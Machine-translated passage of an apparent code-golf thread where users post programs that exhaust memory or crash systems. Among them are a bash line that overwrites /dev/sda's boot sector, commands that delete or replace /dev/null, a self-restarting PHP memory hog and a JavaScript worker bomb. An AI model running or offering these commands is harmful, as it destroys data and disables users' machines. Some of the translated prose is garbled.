    case 2:
    case 0:
        newpos = offs;
        break;

    case 1:
        newpos = filep->f_pos + offs;
        break;

    default:
        return -EINVAL;
    }

    if (newpos < 0) {
        return -EINVAL;
    }

    filep->f_pos = newpos;

    return newpos;
}

static ssize_t device_read(struct file *filep, char *dst, size_t len,
                           loff_t *off)
{
    char *buf = NULL;

    if (dst == NULL || len == 0) {
        return -EINVAL;
    }

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    /* Do how a /dev/null does.
     */
    memset(dst, 0, len);

    *off += len;
    return len;
}

static ssize_t device_write(struct file *filep, const char *src, size_t len,
                            loff_t *off)
{
    char *buf = NULL;

    buf = kmalloc(sizeof(char) * len, GFP_KERNEL);
    if (buf == NULL) {
        return -EINVAL;
    }

    *off += len;
    return len;
}

module_init(mod_init);
module_exit(mod_exit);

경고 이로 인해 재부팅이 발생할 수 있습니다!

그것을 제거하려면 :

# rmmod -f devnull # or a reboot
# rm -rf /dev/null
# mknod /dev/null c 1 3
# chmod go+rw /dev/null

6

루비

모두 합 (1 / n ^ 2) = pi ^ 2 / 6을 알고 있습니다.

근사 함수를 정의 할 수 있습니다.

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)

물론 (1 .. 무한대)는 야생으로 진행됩니다.

그러나 lazy를 사용하면이 작업을 수행 할 수 있습니다.)

pi_approx = lambda {|i|
Math.sqrt( 
  6*( 
    (1...Float::INFINITY).lazy.map{|n| n.to_f**(-2)}.take(i).reduce(:+)
    )
  )
}

p pi_approx.(100_000)
#=> 3.141583104326456

5

C- 28 25 자 (전체 프로그램)

그 중 하나를 실행하지 않으면 시스템이 빨리 정지됩니다!

main(){while(malloc(9));}

malloc에 ​​대한 호출은 9 바이트의 메모리를 예약하고 운영 체제에서 정기적으로 새 메모리 페이지를 요청합니다. malloc에 ​​의해 할당 된 메모리는 리턴 된 주소에 대한 포인터가 저장되지 않아 즉시 누출됩니다. 시스템에 메모리가 부족하거나 (RAM 및 스왑 공간) 프로세스의 메모리 한계에 도달하면 프로그램은 while 루프를 벗어나 종료됩니다.


2
오래 걸리지 않습니다-합리적으로 현대적인 시스템에는 프로세스 를 시작하고 종료 시키는 OOM 킬러 가 있어야합니다 . 적어도 우분투 12.04는 않습니다.
디지털 외상

1
글쎄, 나는이 코드를 시도하는 동안 우분투 13.10 충돌했다 ...
Mathieu Rodic

@DigitalTrauma 예를 들어 FreeBSD에는 OOMK가 있습니까?
Ruslan

1
main(){while(malloc(9));}다른 3자를 저장하고 메모리를 거의 즉시 채 웁니다.
gmatht

@ gmatht : 제안 주셔서 감사합니다! 나는 모든 루프에서 블록의 크기를 늘리는 아이디어가 마음에 들었지만 대답을 편집했습니다.
Mathieu Rodic

4

VBScript

do
    Set d1 = createobject("Scripting.Dictionary")
    d1.add true, d1
    Set d1 = Nothing
loop

우리는 스스로를 가리키는 일기를 만들고 있습니다. 그런 다음 사전을 Nothing으로 설정하여 사전을 삭제한다고 생각합니다. 그러나 사전은 유효한 (원형) 참조를 가지고 있기 때문에 메모리에 여전히 존재합니다.

루프와 메모리 호그로 인해 프로그램이 중단됩니다. 프로그램을 종료 한 후에도 메모리는 여전히 사용 중입니다. 시스템은 다시 시작해야만 복원 할 수 있습니다.


정말요? VBScript는 VB.NET 만 사용하지 않습니까? 간단한 참조 횟수 구현을 제외하고는 순환 참조는 일반적으로 가비지 수집기에 문제가되지 않으며 프로그램이 종료되면 전체 힙이 해제됩니다 .
David Conrad

@DavidConrad 당신은 그렇게 생각할 것이지만, 이것을 조사하고이 유형의 스크립트를 실행할 때마다 컴퓨터를 다시 시작해야했습니다.
AutomatedChaos

1
VBScript는 VB.Net보다 상당히 오래되었습니다. VB.Net의 명령 행 버전이 아닙니다. 레거시 Visual Basic의 해석 된 하위 집합입니다.
Chris J

고마워요 VBScript와 VB.NET의 관계가 무엇인지 몰랐습니다.
David Conrad

4

예 및 tmpfs

Ubuntu와 함께 무료로 제공되는 새로운 프로그램을 작성하는 이유는 무엇입니까?

yes > /run/user/$UID/large_file_on_my_ramdisk

이미 알고 있거나 이미 짐작했듯이 우분투는 기본적으로 / run / user /를 RAM 디스크 유형 인 tmpfs로 마운트 합니다.

닫을 필요조차 없습니다. 정중하게 닫히고 멋진 메모리 덩어리가 할당됩니다. 필자 yes는 다른 스레드를 호출하지 않는 단일 스레드 단일 프로세스 프로그램이라고 가정합니다 (기존 RAM 디스크에 쓰는 작업도 원하는 언어로 쉽게 이식 할 수 있습니다).

사소한 버그가 있습니다. Ubuntu는 기본적으로 사용자 쓰기 가능 tmpfs / run / 1000을 100MB로 제한하므로 스왑 사망 기능은 컴퓨터에서 기본적으로 지원되지 않을 수 있습니다. 그러나 나는 다음과 같은 빠른 해결 방법으로 내 컴퓨터 에서이 문제를 해결했습니다.

sudo mount -o remount,size=10G tmpfs /run/user/

나는 /run/user디렉토리가 전혀 없다. 어떤 버전의 Ubuntu를 사용하고 있으며 어떤 버전을 설치 했습니까?
Ruslan

우분투 트러스티 타르 (14.04). 특별한 설치가 필요하지 않습니다.
gmatht

tmpfs마운트 된 파일 시스템 이 있는지 확인하려면 파일 시스템을로 나열하면됩니다 df -t tmpfs. 내 우분투 시스템은 /run/shm사용할 수 있는 큰 용량을 가지고 있습니다.
Toby Speight

4

세게 때리다

경고 : 다음 코드는 컴퓨터를 부팅 할 수 없게 만듭니다.

printf "\\xe8\\xfd\\xff" | dd of=/dev/sda
reboot

경고 : 앞의 코드는 컴퓨터를 부팅 할 수 없게 만듭니다.

/ dev / sda를 부팅 드라이브로 교체하십시오. 이것은 부트 섹터의 시작에 E8 FD FF를 기록합니다. 부팅 할 때 BIOS는 부팅 섹터를 메모리로 읽어서 실행합니다. 이러한 opcode는이 어셈블리와 동일합니다.

label:
  call label

이것은 무한 재귀이므로 결국 스택 오버플로가 발생합니다.


당신의 조립 예를 들어, 당신은 사용하여 문자 (이름이 "라벨"필요한 가정)을 절약 할 수 jmp보다는call
SirPython

호출은 반환 주소를 스택에 남겨두고 다시 보냅니다. 점프는 스택 오버플로를 유발하지 않습니다.
Jerry Jeremiah

3

하스켈

main=print $ sum [0..]

이것은 숫자를 더하려고 시도합니다. 하스켈은 부분 합을 평가하지 않고 무한한 추가 진술이됩니다. 최적화 플래그를 사용하여 컴파일러를 실행하면 작동하지 않을 수 있습니다.


3

세게 때리다

메모리를 소비하도록 특별히 설계되지 않은 유틸리티를 사용할 수 있으므로 메모리를 확보하는 유틸리티에 중점을 둡니다 swapon. 이것은 커널이 디스크에 기록하여 메모리를 비울 수 있도록하는 데 사용됩니다.

이 스크립트는 두 가지 최적화를 수행합니다. (1) tmp를 tmpfs (RAM 디스크 유형)로 마운트하여 / tmp 속도를 높이고 (2) 스왑 파일을 만들어 메모리를 확보합니다. 이들 각각은 합리적이지만 부주의 한 사용자가 둘 다 수행하는 경우 스와핑주기를 설정합니다. OS가 페이지를 스왑 아웃하려고하면 tmpfs에 씁니다. 이것은 tmpfs가 더 많은 메모리를 사용하게합니다. 이것은 메모리 압력을 증가시켜 더 많은 페이지가 스왑 아웃되도록합니다. 이 작업은 내 VM에서 몇 분이 걸릴 수 있습니다 top.

프로그램 자체는 메모리를 거의 할당하지 않기 때문에 프로그램을 닫으면 큰 차이가 없습니다. swapoff스왑 파일을 사용 하기 전에 tmpfs를 마운트 해제하여 메모리를 해제 할 수 없으므로 메모리를 해제 할 때까지 수행하기가 어렵 기 때문에 실제로 메모리를 해제 하는 것은 쉽지 않습니다.

이 답변은 이해하지 못하고 그물에서 멋진 트릭을 적용하는 데 대한 경고로 간주 될 수 있습니다.

sudo mount -t tmpfs -o size=9999G tmpfs /tmp # Use tmpfs to make /tmp faster
truncate -s 4096G /tmp/swap                  # Now make a giant swap file to free up memory 
sudo losetup /dev/loop4 /tmp/swap            # Use a loopback so we can mount the sparse file
sudo mkswap /dev/loop4
sudo swapon /dev/loop4
#The following line would cause a quick swap death, but isn't needed.
#dd if=/dev/zero of=/tmp/zero bs=1          # Zero the tmp dir so the VM can free more memory

2

sub _ {
  my($f,$b);
  $f=\$b;$b=\$f;
}
while(1) { _;}

순환 참조를 사용합니다. 변수의 참조 횟수는 0에 도달하지 않으며 참조는 가비지 수집되지 않습니다.

인내심이 필요할 수도 있지만 시스템을 질식시키는 것이 보장됩니다. 디스크가 더 빨리 회전하기 시작하고 연기가 보일 수 있습니다.


2

PHP (리눅스 만 해당) :

이 코드는 PHP가 실행되는 Linux 컴퓨터가 없기 때문에 테스트되지 않았습니다.

그러나 이것은 내 개념 증명입니다.

ignore_user_abort(true);
ini_set('memory_limit',-1);
ini_set('max_execution_time',0);
/*
    sets php to ignore if the script was canceled in the browser
    (like clicking cancel or closing the browser)
    and takes away the memory limit,
    as well as the maximum execution time.
*/

function dont_let_it_stop(){shell_exec('php '.__FILE__.' &');}
//this function calls the file itself.

register_shutdown_function('dont_let_it_stop');
//this function will register the function declared above to be used when the script is being terminated

function get_info($f='current')
{
    return str_replace(' kB','',end(explode(':',trim($f(explode(PHP_EOL,file_get_contents('/proc/meminfo')))))))*1024
}
/*
    this function fetches the infos
    'current' fetches the max memory
    'next' fetches the actual used memory
*/

$max=get_info();//maximum memory
$current=get_info('next');//current memory

$imgs=array(imagecreatetruecolor(1e4,1e4));
$color=imagecolorallocatealpha($imgs[$i=0],128,128,128,126);
imagefill($imgs[$i],0,0,$color);
/*
    this creates an array and inserts one image (10000x10000 pixels),
    filling it then with a solid transparent color
*/

$total-=get_info('next');//calculates the space an image takes

while($max-get_info('next')>$total*2)//while the free memory is higher than the memory of 2 images, fill the array
{
    $imgs[$i++]=imagecreatetruecolor(1e4,1e4);
    $color=imagecolorallocatealpha($imgs[$i-1],128,128,128,126);
    imagefill($imgs[$i-1],0,0,$color);
}

//this is just to keep the images in memory, so the script doesn't end
while(1)sleep(60);

이것은 거대한 RGBA 이미지 (10000x10000 픽셀)로 메모리를 채 웁니다.

이 아기를 끄는 유일한 방법은 전원을 끄는 것입니다.

코드는 모두 주석 처리되어 있습니다.

개선, 의심, 버그 또는 기타 사항은 아래 주석 상자를 사용하십시오.


리눅스 마인드에 액세스 할 수있는 사람이 있습니까? 감사합니다 :)
George

나는 리눅스를 가지고 있는데 그것이 어떻게 작동하는지 잘 모르겠다. 첫 번째 답변에 대한 인쇄 화면을 제공했지만 강아지 리눅스의 오래된 버전입니다. 우분투는 PHP를 실행하기에는 너무 느립니다. 어쩌면 나중에 안드로이드에서 테스트 할 수도 있습니다.
Ismael Miguel

1
다른 프로그램을 호출하지 않는 것에 대한 요점
Einacio

다른 프로그램을 호출하지 않고 동일한 파일에 대해 파일을 시작한 동일한 프로그램을 호출합니다.
Ismael Miguel

2

파이썬-56

class x:
 def __setattr__(self,*args):self.y=0
x().y=0

클래스를 만들고, 속성을 설정하는 방법을 정의하고, 속성을 설정 한 다음 속성을 설정하려는 초기 인스턴스를 만듭니다.

간단한 재귀 함수 ( def f(x):f(x))는 약간 상상력이 없어서 실제로 함수를 호출 하지 않기로 결정했습니다 .

메모리 관리는 재귀 수준을 잡을 수 있지만 실제로는 구현에 따라 다릅니다.

이것이 포크 폭탄이라면 알려주세요.


4
이로 인해 메모리 소모가 발생하지 않습니다 RuntimeError: maximum recursion depth exceeded while calling a Python object. sys.setrecursionlimit메모리가 거의없는 최대 재귀 한계를 설정하더라도 세그먼트 화 오류와 충돌하기 전에 사용됩니다.
Bakuriu

@Bakuriu 내가 말했듯이, 그것은 실제로 구현에 달려 있습니다 (C (++)로 변환하고 컴파일하는 Python의 구현이 있습니다 (예 : Shedskin, Nuitka)).
cjfaure

2
그런 다음 코드를 작성하는 특정 구현을 명시하십시오. 구문 만 중요하므로 구현과 관련이없는 문제와 언어 구현 방법에 전적으로 의존하는 문제 사이에는 차이가 있습니다.
Bakuriu

2

간단하지만 골프를 타는 느낌이 들었습니다.

{$x=[$x];redo}

두 번의 반복 후에 $x는에 대한 참조가 포함 된 배열에 대한 참조가 포함 undef됩니다.

메모리 사용량은 시간이 짧아 할당량이 적지 만 Ubuntu Linux 시스템에서 창 관리자를 심각하게 느리게하는 데 몇 초 밖에 걸리지 않았습니다. 30 분 후 OOM 킬러가 처리했습니다.


2

ECMAScript 6 :

z=z=>{while(1)z()};_=i=>(i+=1,i-=1,i++,i--,--i,++i,i<<=2,i>>=2,i+=0|Math.round(1+Math.random())&1|0,z(x=>setInterval(x=>z(x=>new Worker('data:text/javascript,'+_.toSource()),5))));setInterval(x=>z(x=>_(...Array(9e3).map((x,z)=>z*3/2*2/4*4e2>>2<<2))),5)

언 골프 드 :

function forever(code) {
    // Loop forever
    var counter = 0;

    while (counter++ < 10) setInterval(code, 5);
};

function main(counter) {
    // Do some work.
    counter += 1; counter -= 1;

    counter++; counter--;
    --counter; ++counter;

    counter <<= 2;
    counter >>= 2;

    counter += 0 | Math.round(1 + Math.random()) & 1 | 0;

    forever(() => {
        setInterval(() => {
            forever(() => new Worker('data:text/javascript,' + main.toString()));
        }, 5);
    });
};

setInterval(() => {
    forever(() => {
        main(...Array(9e3).map((currentValue, index) => index * 3 / 2 * 2 / 4 * 4e2 >> 2 << 2));
    });
}, 5);

참고 : 타이머의 일부로 정의 된을 사용 합니다 (HTML Living Standard) .setTimeout

Mozilla Firefox에서 사용해보십시오 (개발자 콘솔에 붙여 넣기 가능). Firefox는 점점 더 많은 메모리를 사용 100%하고 단일 코어 시스템 ( 25%CPU 와 같은 4 코어 시스템 )에서 CPU를 사용합니다 . 또한이를 막을 수 없다는 이점도 있습니다. 작업 관리자를 열 수 있으면 Firefox를 사용하여 Firefox를 종료 할 수 있습니다.


1
코어의 100 %를 사용합니다. 쿼드 코어 프로세서에서는 CPU 사용량의 25 %가 발생합니다.
Iván Pérez

@ Electrolect 네, 당신은 절대적으로 맞습니다. 내 답변을 업데이트했습니다.
칫솔

이것은 코드 골프 질문이 아닙니다. 코드를 읽을 수있게 만드십시오.
Paŭlo Ebermann

@ PaŭloEbermann OK. Ungolfed 버전을 게시했습니다.
칫솔

1

세게 때리다

빈 파일 test
만들기이 /dev/null/텍스트 파일로 바꾸기

$ sudo mv test /dev/null

이것은 @Comintern의 답변과 비슷한 방식으로 작동합니다. 에 대한 모든 출력 /dev/null이 이제이 텍스트 파일에 추가되며 시간이 지남에 따라 시스템이 중단됩니다.


1
큰 파일은 시스템을 중단시키지 않습니다. 그리고 평균 디스크 크기가 500GB라고 가정하면 파일이 디스크를 채우는 데까지 시간이 오래 걸립니다.
w4etwetewtwet

1
/dev이있는 시스템에서는 시스템을 devtmpfs채우고 방해 할 수 있습니다. 나는 이것이 그 대답의 의도라고 생각합니다.
Toby Speight

1

배쉬 : 7 자

가장 간단한 bash 솔루션이어야합니다. 포크도없고, 부정도 없습니다.

x=`yes`

이것을 루트로 실행하지 않는 것이 좋습니다.


추가 참고 사항 : ctrl-c midway로 unset변수 를 종료 한 다음 변수를 사용하더라도 쉘이 종료 될 때까지 메모리는 할당 된 상태로 유지됩니다. 에서 대학살을 볼 수 있습니다 top.
Riot

bash 4.2.45 (1)에 대한 내 테스트 unset x는 메모리 를 비우는 것으로 나타났습니다 . pdksh는 메모리를 해제하지만 ksh93은 해제하지 exit못하며 ksh93에서는 코어를 덤프합니다.
kernigh 2016 년

나를 위해 (bash 4.3.11 (1)), 부모 쉘의 맨 위에있는 상주 메모리 표시 yes는 죽일 때까지 꾸준히 올라가고 그 시점에는 그대로 남아 unset효과가 없습니다. 그러나 이것은 큰 메모리 시스템에 있으며 수 기가 바이트의 변수를 갖는 것이 문제를 일으키지 않는 것 같습니다 (최종적으로 쉘을 죽이기로 결정할 때까지).
Riot

0

main()
{
    void * buffer;
    while (1)
        buffer = malloc(4096);
}

매 페이지마다 메모리가 필요하며 마지막으로 남은 메모리가 없습니다.


페이지가 4KB가 얼마나 보편적입니까?
피터 Mortensen

@ 피터 4K는 종종 크기이지만 실제로 보편적인지 알 수는 없지만 페이지 크기는 주어진 질문과 관련이 없습니다.
ST3

1
@ ST3 : 메모리 페이지를 더러워 야합니다. 대부분의 최신 운영 체제는 가상 메모리를 사용하고 메모리를 할당 할 때 가상 메모리 테이블에 레코드를 만듭니다. 메모리 페이지에 단일 바이트를 쓰면 이미 운영 체제에서 가상 메모리 페이지를 실제 메모리에 매핑해야합니다.
foobar



0

C ++ 79

void f(char *p,int i){p=new char[i];f(p,++i);}
int main(){char c='a';f(&c,1);}

골퍼가 아닌

void leak(char *p,int i)
{
    p=new char[i];
    leak(p,++i);
}

int main()
{
    char c='a';
    f(&c,1);
}

main에서 온 전화를 포함하도록 항목을 수정했습니다.


이것은 인기 콘테스트입니다. 프로그램이 작동하면 메인과 헤더를 유지하십시오. 괜찮아. 또한 골프 이외 버전을 게시 할 수 있습니까? 감사합니다 :)
George
당사 사이트를 사용함과 동시에 당사의 쿠키 정책개인정보 보호정책을 읽고 이해하였음을 인정하는 것으로 간주합니다.
Licensed under cc by-sa 3.0 with attribution required.